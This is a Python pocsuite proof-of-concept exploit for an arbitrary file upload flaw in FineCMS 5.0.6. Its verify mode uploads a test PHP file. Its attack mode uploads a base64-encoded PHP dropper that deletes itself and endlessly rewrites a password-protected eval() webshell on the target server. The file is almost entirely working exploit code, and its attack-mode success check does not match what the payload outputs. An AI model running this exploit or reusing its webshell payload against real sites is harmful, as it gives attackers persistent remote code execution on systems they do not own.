#!/usr/bin/python
# -*- coding:utf-8 -*-

import string
import random
import time
import re
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

def post_url(url, data, refer):
    try:
        httpreq = req.Session()
        headers = {
        "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0",
        "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": "refer"
        }
        resp = httpreq.post(url, data=data)
    except Exception as ex:
        resp = None
    return resp

class TestPOC(POCBase):
    name = 'finecms5.0.6 file-upload Vulnerability'
    vulID = '0'
    author = ['cws6']
    vulType = 'file-upload'
    version = '1'
    references = ['https://cloud.tencent.com/developer/article/1144917']
    desc = '''finecms5.0.6 /finecms/dayrui/controllers/Api.php的data2()存在任意文件上传'''

    vulDate = '2018-05-21'
    createDate = '2019-04-25'
    updateDate = '2019-04-25'

    appName = 'finecms'
    appVersion = '5.0.6'
    appPowerLink = 'http://www.finecms.net/'
    samples = ['re']

    
    def _attack(self):
        """attack mode"""
        result = {}
        payload1 = '/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=update_avatar'
        data = {
        "uid": "1",
        "file": "data:image/php;base64,PD9waHAKaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CnNldF90aW1lX2xpbWl0KDApOwp1bmxpbmsoX19GSUxFX18pOwokZmlsZSA9ICcyLnBocCc7CiRjb2RlID0gJzw/cGhwIGlmKG1kNSgkX0dFVFsicGFzcyJdKT09IjFhMWRjOTFjOTA3MzI1YzY5MjcxZGRmMGM5NDRiYzcyIil7QGV2YWwoJF9QT1NUW2FdKTt9ID8+JzsKd2hpbGUgKDEpewogICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGUsJGNvZGUpOwogICAgdXNsZWVwKDUwMDApOwp9",
        }
        refer = self.url
        resp = post_url(self.url + payload1,data,refer)
        resp1 = req.get(self.url + '/uploadfile/member/1/0x0.php')
        time.sleep(1)
        if 'phpinfo' in resp1.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def _verify(self):
        """verify mode"""
        result = {}
        payload1 = '/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=update_avatar'
        data = {
        "uid": "123",
        "file": "data:image/php;base64,PD9waHAgZWNobyAiT0tPS09LIjs/Pg==",
        }
        refer = self.url
        resp = post_url(self.url + payload1,data,refer)
        resp1 = req.get(self.url + '/uploadfile/member/123/0x0.php')
        time.sleep(1)
        if 'OKOKOK' in resp1.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

